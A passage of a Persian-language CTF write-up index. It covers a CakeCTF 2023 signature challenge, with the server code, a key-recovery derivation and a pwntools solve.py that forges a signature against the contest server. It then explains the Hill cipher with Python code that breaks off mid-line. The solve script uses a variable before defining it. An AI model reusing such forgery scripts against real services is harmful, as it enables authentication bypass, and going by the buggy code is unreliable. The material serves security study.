\u062f\u0631 \u0635\u0648\u0631\u062a \u0645\u0637\u0627\u0628\u0642\u062a \u0627\u0645\u0636\u0627 \u0628\u0627 \u0645\u062a\u0646\u060c \u067e\u06cc\u063a\u0627\u0645 verified \u0631\u0648 \u0645\u0627\u0646\u0646\u062f \u0632\u06cc\u0631 \u0628\u0631\u0627\u06cc \u0686\u0627\u067e \u0645\u06cc\u200c\u06a9\u0646\u0647.

nc crypto.2023.cakectf.com 10444\np = 12461009808507152374125098342823537614498371034076199996167157368441261794610538037894190371927225429503534827434519767137513866506265282544292894789347283\ng = 2\nvkey = (5448899759769600714412864084543015451282235347653116129095778847832346990329692376807722729655674724571428765510035749357005239091437770716002180076321509, 3128459027502179540614599819430166489651929559502820417514699625737390655587377320258316509423668978901229663058253736473439065076432361719276985133909415)\n[S]ign, [V]erify: S\nmessage: Hello\n(s, t) = (1308751768992585221054130031165608289293359932202519581128562608636988438770667093582175287614159633116263153448959960762986514580832902309161213800131493, 322900803100515903279808703477899387035730952811976099474443242190074336807561942151320888385917232910170637701378305826484578987612226990801594826583715)\n[S]ign, [V]erify: V\nmessage: Hello\ns: 1308751768992585221054130031165608289293359932202519581128562608636988438770667093582175287614159633116263153448959960762986514580832902309161213800131493\nt: 322900803100515903279808703477899387035730952811976099474443242190074336807561942151320888385917232910170637701378305826484578987612226990801594826583715\nverified\n

\u062d\u0627\u0644\u0627 \u0628\u0627\u06cc\u062f \u0628\u0647 \u06a9\u062f \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0646\u06af\u0627\u0647 \u0628\u0646\u062f\u0627\u0632\u06cc\u0645 \u0648 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0633\u0631\u0648\u0631 \u062f\u0631 \u0686\u0647 \u0635\u0648\u0631\u062a\u06cc \u0641\u0644\u06af \u0631\u0648 \u0628\u0631\u0627\u06cc \u0645\u0627 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u06a9\u0646\u0647. \u0628\u0627 \u062f\u0642\u062a \u062f\u0631 \u06a9\u062f \u0633\u0631\u0648\u0631 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0627\u06af\u0631 \u0645\u062a\u0646 \"cake_does_not_eat_cat\" \u0631\u0648 \u0628\u0631\u0627\u06cc \u0627\u0645\u0636\u0627 \u0628\u062f\u06cc\u0645 \u0648 \u0633\u067e\u0633 \u0633\u0631\u0648\u0631 \u0627\u0648\u0646 \u062a\u0635\u062f\u06cc\u0642 \u06a9\u0646\u0647 \u0641\u0644\u06af \u0628\u0631\u0627\u06cc \u0645\u0627 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647. \u0627\u0645\u0627 \u0633\u0631\u0648\u0631 \u0628\u0647 \u0627\u06cc\u0646 \u0639\u0628\u0627\u0631\u062a \u062d\u0633\u0627\u0633 \u0627\u0633\u062a \u0648 \u0627\u062c\u0627\u0632\u0647 \u0627\u0645\u0636\u0627\u06cc \u0627\u06cc\u0646 \u0645\u062a\u0646 \u0646\u0645\u06cc\u062f\u0647. \u067e\u0633 \u0628\u0627\u06cc\u062f \u0639\u0645\u0644 \u0627\u0645\u0636\u0627 \u06a9\u0631\u062f\u0646 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a local \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u062e\u0648\u062f\u0645\u0648\u0646 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u0648 \u062a\u0646\u0647\u0627 \u0628\u0631\u0627\u06cc \u0627\u0646\u062c\u0627\u0645 \u062a\u0635\u062f\u06cc\u0642 \u0628\u0647 \u0633\u0631\u0648\u0631 \u0628\u0641\u0631\u0633\u062a\u06cc\u0645. \u0627\u0645\u0627 \u0628\u0631\u0627\u06cc \u0627\u0645\u0636\u0627 \u06a9\u0631\u062f\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u06a9\u0644\u06cc\u062f\u062e\u0635\u0648\u0635\u06cc (x,y,u) \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u062f\u0631 \u0647\u0631 \u0628\u0627\u0631 \u0627\u062a\u0635\u0627\u0644 \u0628\u0647 \u0633\u0631\u0648\u0631 \u0628\u0647 \u0635\u0648\u0631\u062a \u062a\u0635\u0627\u062f\u0641\u06cc \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u0634\u0646. \u062f\u0631 \u0648\u0627\u0642\u0639 \u062a\u0627\u0632\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0646\u0642\u0637\u0647 \u0628\u0647 \u0628\u0639\u062f \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0634\u0631\u0648\u0639 \u0645\u06cc\u0634\u0647.

server.py
import os\nimport sys\nfrom hashlib import sha512\nfrom Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD\nimport signal\n\nflag = os.environ.get(\"FLAG\", \"neko{cat_does_not_eat_cake}\")\np = getStrongPrime(512)\ng = 2\n\ndef keygen():\n    while True:\n        x = getRandomRange(2, p-1)\n        y = getRandomRange(2, p-1)\n        w = getRandomRange(2, p-1)\n        v = w * y % (p-1)\n        if GCD(v, p-1) != 1:\n            continue\n        u = (w * x - 1) * inverse(v, p-1) % (p-1)\n        return (x, y, u), (w, v)\n\ndef sign(m, key):\n    x, y, u = key\n    r = getRandomRange(2, p-1)\n    return pow(g, x*m + r*y, p), pow(g, u*m + r, p)\n\ndef verify(m, sig, key):\n    w, v = key\n    s, t = sig\n    return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p\n\ndef h(m):\n    return int(sha512(m.encode()).hexdigest(), 16)\n\nif __name__ == '__main__':\n    magic_word = \"cake_does_not_eat_cat\"\n    skey, vkey = keygen()\n    print(f\"p = {p}\")\n    print(f\"g = {g}\")\n    print(f\"vkey = {vkey}\")\n    signal.alarm(1000)\n    while True:\n        choice = input(\"[S]ign, [V]erify: \").strip()\n        if choice == \"S\":\n            message = input(\"message: \").strip()\n            assert message != magic_word\n            sig = sign(h(message), skey)\n            print(f\"(s, t) = {sig}\")\n        elif choice == \"V\":\n            message = input(\"message: \").strip()\n            s = int(input(\"s: \").strip())\n            t = int(input(\"t: \").strip())\n            assert 2 <= s < p\n            assert 2 <= t < p\n            if not verify(h(message), (s, t), vkey):\n                print(\"invalid signature\")\n                continue\n            print(\"verified\")\n            if message == magic_word:\n                print(f\"flag = {flag}\")\n                sys.exit(0)\n        else:\n            break\n

\u0628\u0627 \u062f\u06cc\u062f\u0646 \u06a9\u062f \u0633\u0631\u0648\u0631 \u0645\u06cc\u200c\u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0637\u0628\u0642 \u062a\u0627\u0628\u0639 keygen \u06a9\u0644\u06cc\u062f\u0639\u0645\u0648\u0645\u06cc \u062f\u0648 \u0645\u062a\u063a\u06cc\u0631 (w,v) \u0648 \u06a9\u0644\u06cc\u062f\u062e\u0635\u0648\u0635\u06cc \u0634\u0627\u0645\u0644 \u0633\u0647 \u0645\u062a\u063a\u06cc\u0631 (x,y,u) \u0627\u0633\u062a. \u0628\u0627 \u0627\u0648\u0644\u06cc\u0646 \u0646\u06af\u0627\u0647 \u0628\u0647 \u062e\u0637 \u06f1\u06f6 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0645\u062a\u063a\u06cc\u0631 v \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 y \u0628\u062f\u0633\u062a \u0622\u0645\u062f\u0647\u060c \u0686\u0648\u0646 \u0645\u0642\u062f\u0627\u0631 v \u0639\u0645\u0648\u0645\u06cc \u0627\u0633\u062a \u0648 \u0633\u0631\u0648\u0631 \u0628\u0647 \u0645\u0627 \u0645\u06cc\u062f\u0647\u060c \u067e\u0633 \u0628\u0627 \u06cc\u06a9 \u0645\u0639\u06a9\u0648\u0633\u200c\u06af\u06cc\u0631\u06cc \u0633\u0627\u062f\u0647 \u0631\u0648\u06cc w \u0645\u062b\u0644 \u0631\u0627\u0628\u0637\u0647 \u0632\u06cc\u0631 \u0628\u0647 \u0645\u0642\u062f\u0627\u0631 y \u0645\u06cc\u200c\u0631\u0633\u06cc\u0645 \u0648 \u0627\u0648\u0644\u06cc\u0646 \u0645\u062a\u063a\u06cc\u0631 \u0627\u0632 \u06a9\u0644\u06cc\u062f\u062e\u0635\u0648\u0635\u06cc \u0631\u0648 \u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u0648\u0631\u06cc\u0645.

y\\equiv v \\times w^{-1} \\ mod \\ p-1

\u0627\u0632 \u062e\u0637 \u06f1\u06f9 \u06a9\u062f \u0647\u0645 \u0645\u06cc\u200c\u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0628\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 x \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u0645 \u0628\u0647 \u0645\u0642\u062f\u0627\u0631 u \u0628\u0631\u0633\u06cc\u0645\u060c \u067e\u0633 \u062a\u0646\u0647\u0627 \u0645\u0634\u06a9\u0644 \u0645\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0645\u0642\u062f\u0627\u0631 x \u0627\u0633\u062a. \u0627\u06cc\u0646\u06a9\u0647 \u0686\u0637\u0648\u0631 \u062a\u0648\u0646\u0633\u062a\u0645 \u0645\u0642\u062f\u0627\u0631 x \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u0645 \u0648\u0642\u062a \u0632\u06cc\u0627\u062f\u06cc \u06af\u0631\u0641\u062a \u062a\u0627 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0627 \u062f\u06cc\u062f\u0646 \u062e\u0637 \u06f2\u06f5 \u0628\u0647 \u0641\u06a9\u0631 \u0631\u0627\u0628\u0637\u0647 \u062a\u0639\u0645\u06cc\u0645 \u0627\u0642\u0644\u06cc\u062f\u0633\u06cc \u06cc\u0639\u0646\u06cc a u + b v = gcd(a,b) \u0627\u0641\u062a\u0627\u062f\u0645. \u0686\u0648\u0646 \u0645\u0642\u062f\u0627\u0631 m \u0648 y \u0631\u0648 \u062f\u0627\u0631\u06cc\u0645 \u0648 \u0645\u0642\u062f\u0627\u0631 gcd \u0622\u0646 \u0647\u0627 \u0631\u0627 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u0645 \u067e\u0633 \u0642\u0627\u062f\u0631 \u062e\u0648\u0627\u0647\u06cc\u0645 \u0628\u0648\u062f \u0645\u0636\u0627\u0631\u0628 \u0622\u0646\u0647\u0627 \u06cc\u0639\u0646\u06cc x \u0648 r \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0648\u0631\u06cc\u0645. \u0627\u0645\u0627 \u0645\u0642\u062f\u0627\u0631 r \u0628\u0631\u0627\u06cc \u0645\u0627 \u0645\u0647\u0645 \u0646\u06cc\u0633\u062a \u0686\u0648\u0646 \u0637\u0628\u0642 \u0631\u0627\u0628\u0637\u0647 \u0632\u06cc\u0631 \u06a9\u0647 \u0627\u0632 \u062e\u0637 \u06f3\u06f0 \u062a\u0627\u0628\u0639 verify \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0631\u062f\u0645 \u0645\u0642\u062f\u0627\u0631 r \u0639\u0645\u0644\u0627 \u062a\u0627\u062b\u06cc\u0631\u06cc \u062f\u0631 \u062a\u0635\u062f\u06cc\u0642 \u06a9\u0631\u062f\u0646 \u0627\u0645\u0636\u0627 \u0646\u062f\u0627\u0631\u062f.

\\begin{equation} \\nonumber \\begin{split} g^{m}\\ mod \\ p &= s^{w}\\ mod \\ p \\times t^{-v} \\ mod \\ p \\\\ &= (g^{xm+ry})^w \\times (g^{um+r})^{-v}\\ mod \\ p \\\\ &= g^{w(x m+r y) -v(u m + r )} \\ mod \\ p \\\\ &= g^{wxm + wry - vum - vr} \\ mod \\ p \\\\ &= g^{wxm - vum + r(wy-v)} \\ mod \\ p \\end{split} \\end{equation}

\u0637\u0628\u0642 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0631\u0648\u0631 wy=v \u0627\u0633\u062a \u067e\u0633 \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627\u0644\u0627 \u0636\u0631\u06cc\u0628 r \u06cc\u0639\u0646\u06cc wy-v \u0647\u0645\u06cc\u0634\u0647 \u0645\u0642\u062f\u0627\u0631\u06cc \u0628\u0631\u0627\u0628\u0631 \u0635\u0641\u0631 \u062f\u0627\u0631\u0647\u060c \u0627\u06cc\u0646 \u06cc\u0639\u0646\u06cc \u0645\u0642\u062f\u0627\u0631 \u062a\u0635\u0627\u062f\u0641\u06cc r \u0647\u06cc\u0686 \u0646\u0642\u0634\u06cc \u062f\u0631 \u0628\u0631\u0642\u0631\u0627\u0631\u06cc \u062a\u0633\u0627\u0648\u06cc \u0646\u062f\u0627\u0631\u0647 \u0648 \u062a\u0646\u0647\u0627 \u0648\u0627\u0628\u0633\u062a\u0647 \u0628\u0647 \u0645\u0642\u062f\u0627\u0631 wxm-vum \u0627\u0633\u062a. \u0628\u0639\u062f \u0627\u0632 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0645\u062a\u063a\u06cc\u0631 x \u0628\u0627 \u0631\u0648\u0634 \u062a\u0639\u0645\u06cc\u0645 \u0627\u0642\u0644\u06cc\u062f\u0633\u06cc \u0647\u0645\u0647 \u0645\u062a\u063a\u06cc\u0631\u0647\u0627\u06cc \u06a9\u0644\u06cc\u062f\u062e\u0635\u0648\u0635\u06cc \u06cc\u0639\u0646\u06cc x\u060cy \u0648 u \u0631\u0627 \u062f\u0627\u0631\u06cc\u0645 \u0648 \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u0645 \u0645\u062a\u0646 \"cake_does_not_eat_cat\" \u0631\u0627 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u062e\u0648\u062f\u0645\u0648\u0646 \u0627\u0645\u0636\u0627 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0631\u0627\u06cc \u062a\u0635\u062f\u06cc\u0642 \u0628\u0647 \u0633\u0631\u0648\u0631 \u0628\u0641\u0631\u0633\u062a\u06cc\u0645 \u062a\u0627 \u0641\u0644\u06af \u0631\u0627 \u0628\u0631\u0627\u06cc \u0645\u0627 \u0646\u0645\u0627\u06cc\u0634 \u0628\u062f\u0647. \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0632\u06cc\u0631 \u06a9\u0644 \u0645\u0631\u0627\u062d\u0644 \u0627\u062a\u0635\u0627\u0644 \u0628\u0647 \u0633\u0631\u0648\u0631\u060c \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0644\u06cc\u062f\u0647\u0627\u060c \u0627\u0646\u062c\u0627\u0645 \u0627\u0645\u0636\u0627 \u0648 \u0627\u0631\u0633\u0627\u0644\u0634 \u0628\u0647 \u0633\u0631\u0648\u0631 \u0628\u0631\u0627\u06cc \u062a\u0635\u062f\u06cc\u0642 \u0631\u0648 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0647:

solve.py
from pwn import *\nfrom Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD\nfrom hashlib import sha512\n\ndef egcd(a, b):\n  if (a == 0):\n    return (b, 0, 1)\n  else:\n    g, y, x = egcd(b % a, a)\n    return (g, x - (b // a) * y, y)\n\ndef sign(m, key):\n    x, y, u = key\n    r = getRandomRange(2, p-1)\n    return pow(g, x*m + r*y, p), pow(g, u*m + r, p)\n\ndef h(m):\n    return int(sha512(m.encode()).hexdigest(), 16)\n\nhost='crypto.2023.cakectf.com'\nport=10444\nr=remote(host,port) \n\np=int(r.recvline()[3:-1])\ng=int(r.recvline()[4:-1])\n\npub_key=(r.recvline()[8:-2]).decode()\nw=int(pub_key.split(',')[0])\nv=int(pub_key.split(',')[1])  # fetch public key(variables)\n\ny=(v*pow(w,-1,p-1))%(p-1)\nx=egcd(h_m,y)[1]\nu = (w * x - 1) * inverse(v, p-1) % (p-1)    # x, y, u  are private key(variables)\n\nh_m = h('cake_does_not_eat_cat')\ns=sign(h_m,(x,y,u))\n\nr.sendline(b'V')\nr.sendline(b'cake_does_not_eat_cat')\nr.sendline(bytes(str(s[0]), 'utf-8'))\nr.sendline(bytes(str(s[1]), 'utf-8'))\nprint(r.recvline())\nprint(r.recvline())\n

\u0628\u0647 \u0646\u0638\u0631 \u0645\u0646 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u062f\u0631 \u062d\u062f \u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u0645\u062a\u0648\u0633\u0637 \u0628\u0648\u062f \u0648 \u0648\u0627\u0642\u0639\u0627 \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u0633\u0627\u062f\u0647 \u06cc\u0627 \u062f\u0633\u062a \u06af\u0631\u0645\u06cc \u062d\u062f\u0627\u0642\u0644 \u0628\u0631\u0627\u06cc \u0645\u0646 \u0646\u0628\u0648\u062f. \u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u0645 \u06a9\u0647 \u0631\u0648\u0634 \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0631\u0648 \u0648\u0627\u0636\u062d \u062a\u0648\u0636\u06cc\u062d \u062f\u0627\u062f\u0647 \u0628\u0627\u0634\u0645.

FLAG

CakeCTF{does_yoshiking_eat_cake_or_cat?}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["CakeCTF","CakeCTF-2023","Crypto","Signature","Extended Euclidean"]},{"location":"crypto/writeups/Cybercoliseum%20%E2%85%A2/Hills/","title":"\u0686\u0627\u0644\u0634 Hills","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0645\u0627 \u0641\u0627\u06cc\u0644 task.txt \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.

task.txt
-------------------------\n|76 |101|115|116|101|114|\n-------------------------\n|32 |83 |97 |110|100|101|\n-------------------------\n|114|115|32 |115|104|111|\n-------------------------\n|117|108|100|32 |104|101|\n-------------------------\n|108|112|32 |121|111|117|\n-------------------------\n|32 |58 |41 |41 |41 |42 |\n-------------------------\n\nKLZCOUKTVOUWUKDOBGZVJIIIRGVHXCRQUCNOX_IBBL\n

\u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u062c\u0633\u062a\u062c\u0648 \u062a\u0648 \u06af\u0648\u06af\u0644 \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u0633\u0645 \u0633\u0648\u0627\u0644\u060c \u067e\u06cc \u0645\u06cc\u0628\u0631\u06cc\u0645 \u0628\u0627 Hill Cipher \u0637\u0631\u0641 \u0647\u0633\u062a\u06cc\u0645.

\u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 Hill Cipher

\u06cc\u06a9 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0686\u0646\u062f \u0627\u0644\u0641\u0628\u0627\u06cc\u06cc (polyalphabetic) \u0627\u0633\u062a \u06a9\u0647 \u0648\u0631\u0698\u0646 \u06af\u0633\u062a\u0631\u0634 \u06cc\u0627\u0641\u062a\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc Affine \u0647\u0633\u062a\u0634 \u0648 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062c\u0628\u0631 \u062e\u0637\u06cc (linear algebra) \u0648 \u0647\u0645\u200c\u0646\u0647\u0634\u062a\u06cc (modular arithmetic) \u0627\u0632 \u0637\u0631\u06cc\u0642 \u06cc\u06a9 \u0645\u0627\u062a\u0631\u06cc\u0633 \u0639\u062f\u062f\u06cc \u06a9\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06a9\u0644\u06cc\u062f \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0639\u0645\u0644 \u0645\u06cc \u06a9\u0646\u062f\u060c \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647 \u0627\u0633\u062a.

\u06a9\u0627\u0641\u06cc\u0633\u062a \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u0627\u06cc\u062a \u0632\u06cc\u0631 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0631\u0627 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0648\u0631\u062f\u06cc\u0645.

https://www.dcode.fr/hill-cipher

FLAG

CODEBY{BTW_EXISTS_AN_INTERESTING_FILM_ABOUT_HILLS}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["Cybercoliseum \u2162","Crypto","Hill Cipher"]},{"location":"crypto/writeups/Cybercoliseum%20%E2%85%A2/Hills/#_1","title":"\u0646\u062d\u0648\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":"

\u0628\u0631\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0627\u0632 \u06cc\u06a9 \u0627\u0644\u0641\u0628\u0627 \u0648 \u06cc\u06a9 \u0645\u0627\u062a\u0631\u06cc\u06a9\u0633 \u0645\u0631\u0628\u0639\u06cc \u0628\u0647 \u0633\u0627\u06cc\u0632 n \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0628\u0647\u0634 encryption matrix \u0645\u06cc\u06af\u06cc\u0645.

\u0628\u06cc\u0627\u06cc\u06cc\u062f \u0628\u0631\u0627\u06cc \u062f\u0631\u06a9 \u0628\u0647\u062a\u0631 \u0628\u0627 \u0645\u062b\u0627\u0644\u06cc \u067e\u06cc\u0634 \u0628\u0631\u0648\u06cc\u0645 \u0645\u06cc\u062e\u0648\u0627\u0647\u06cc\u0645 \u0631\u0634\u062a\u0647 FLAG_MOTORI \u0631\u0627 \u0628\u0627 \u0627\u0644\u0641\u0628\u0627 \u0632\u06cc\u0631

alphabet  = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ_\"\n

\u0648 \u0645\u0627\u062a\u0631\u06cc\u06a9\u0633 M (\u0633\u0627\u06cc\u0632 2) \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06a9\u0646\u06cc\u0645

M = \\begin{bmatrix} 2 & 3 \\\\ 5 & 7 \\end{bmatrix}
  1. \u0627\u0628\u062a\u062f\u0627 \u0645\u062a\u0646 \u0628\u0647 \u062a\u06a9\u0647 \u0647\u0627\u06cc\u06cc \u0628\u0647 \u0637\u0648\u0644 n \u0646\u0642\u0633\u06cc\u0645 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u062f\u0631 \u0635\u0648\u0631\u062a\u06cc\u06a9\u0647 \u062a\u06a9\u0647 \u0622\u062e\u0631 \u0637\u0648\u0644\u0634 \u06a9\u0645\u062a\u0631 \u0627\u0632 n \u0628\u0627\u0634\u062f\u060c \u062d\u0631\u0648\u0641 \u0631\u0646\u062f\u0648\u0645 \u0628\u0647\u0634 \u0627\u0636\u0627\u0641\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0637\u0648\u0644\u0634 \u0628\u0631\u0627\u0628\u0631 n \u0634\u0648\u062f. \u062f\u0631 \u0645\u062b\u0627\u0644 \u0645\u0627 \u0627\u06cc\u0646\u06af\u0648\u0646\u0647 \u0645\u06cc\u0634\u0648\u062f

  2. \u0633\u067e\u0633 \u0647\u0631 \u062d\u0631\u0641 \u0631\u0627 \u0628\u0627 \u0627\u06cc\u0646\u062f\u06a9\u0633\u0634 \u062f\u0631 \u0627\u0644\u0641\u0628\u0627 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0645\u06cc\u06a9\u0646\u06cc\u0645.

    (5,11), (0,6), (26,12), (14,19), (14,17), (8,25)\n
  3. \u0633\u067e\u0633 \u0628\u0631\u0627\u06cc \u0647\u0631 \u062a\u06a9\u0647\u060c \u0636\u0631\u0628 \u0645\u0627\u062a\u0631\u06cc\u06a9\u0633\u06cc \u0632\u06cc\u0631 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647\u06cc\u0645 \u06a9\u0647 C \u0645\u0642\u0627\u062f\u06cc\u0631 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0645\u0627 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f. ( \u0639\u062f\u062f 27 \u0637\u0648\u0644 \u0627\u0644\u0641\u0628\u0627\u06cc \u0645\u0627 \u0647\u0633\u062a\u0634)

    M \\cdot P \\equiv C \\mod 27

    \u06a9\u0647 \u062f\u0631 \u0645\u062b\u0627\u0644 \u0645\u0627 \u0628\u0631\u0627\u06cc \u062a\u06a9\u0647 \u0627\u0648\u0644 \u0627\u06cc\u0646\u06af\u0648\u0646\u0647 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f

    \\begin{bmatrix} 2 & 3 \\\\ 5 & 7 \\end{bmatrix} \\cdot \\begin{bmatrix} 5 \\\\ 11 \\end{bmatrix} \\equiv \\begin{bmatrix} 16 \\\\ 21 \\end{bmatrix} \\mod 27

    \u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0631\u0627 \u0628\u0627 \u062d\u0631\u0648\u0641 \u0646\u0638\u06cc\u0631\u0634\u0627\u0646 \u062f\u0631 \u0627\u0644\u0641\u0628\u0627 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0647 \u0645\u062a\u0646 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0645\u06cc\u0631\u0633\u06cc\u0645. \u06a9\u0647 \u062f\u0631 \u0645\u062b\u0627\u0644 \u0631\u0634\u062a\u0647 FLAG_MOTORI \u0628\u0647 \u0645\u062a\u0646 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0632\u06cc\u0631 \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc\u0634\u0648\u062f.

    QVSPHZEOZAK_\n
","tags":["Cybercoliseum \u2162","Crypto","Hill Cipher"]},{"location":"crypto/writeups/Cybercoliseum%20%E2%85%A2/Hills/#_2","title":"\u0646\u062d\u0648\u0647 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc","text":"

\u0628\u0631\u0627\u06cc \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0628\u0647 \u0645\u0627\u062a\u0631\u06cc\u06a9\u0633 \u0648 \u0627\u0644\u0641\u0628\u0627\u06cc \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u06cc\u0645. \u06a9\u0627\u0641\u06cc\u0633\u062a \u0648\u0627\u0631\u0648\u0646 \u0645\u0627\u062a\u0631\u06cc\u0633 \u0628\u0647 \u067e\u06cc\u0645\u0627\u0646\u0647 27 \u0631\u0627 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0627\u0642\u06cc \u0645\u0631\u0627\u062d\u0644 \u0645\u0634\u0627\u0628\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u067e\u06cc\u0634 \u0628\u0631\u0648\u06cc\u0645.

\\begin{bmatrix} 2 & 3 \\\\ 5 & 7 \\end{bmatrix} ^{-1} \\equiv \\begin{bmatrix} -7 & 3 \\\\ 5 & -2 \\end{bmatrix} \\equiv \\begin{bmatrix} 19 & 3 \\\\ 5 & 24 \\end{bmatrix} \\mod 27","tags":["Cybercoliseum \u2162","Crypto","Hill Cipher"]},{"location":"crypto/writeups/Cybercoliseum%20%E2%85%A2/Hills/#_3","title":"\u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u062f\u0631 \u067e\u0627\u06cc\u062a\u0648\u0646","text":"python
import numpy as np\nfrom sympy import Matrix\n\nclass HillCipher:\n    def __init__(self, alphabet, matrix):\n        self.n, m = matrix.shape\n        assert self.n==m\n        self.alphabet = alphabet\n        self.mod = len(self.alphabet)\n        self.mapper = dict(zip(self.alphabet, range(self.mod)))\n        self.mapper |= dict((v, k) for k, v in self.mapper.items())\n        self.M = matrix % self.mod\n        self.invM = np.array(Matrix(self.M).inv_mod(self.mod))\n\n    def process(self, msg, dec=False):\n        key = self.invM if dec else self.M\n        msg += 'Z'*(len(msg)%self.n)\n        msgI = [*map(self.mapper.get, msg)]\n        res = ''\n        for i in range(len(msgI)//self.n):\n            P = np.array(msgI[i*self.n:i*self.n+self.n])\n            C = np.dot(key,P) % self.mod\n            res += ''.join(map(self.mapper.get, C))\n        return res\n\n    def encrypt(self, plain):\n        return self.process(plain.upper())\n\n    def decrypt(self, cipher):\n        return self.process(cipher.upper(), True)\n\nalphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ_'\narr = np.array([\n    [2,3],\n    [5,7]\n])\n\nHillCipher(alphabet, 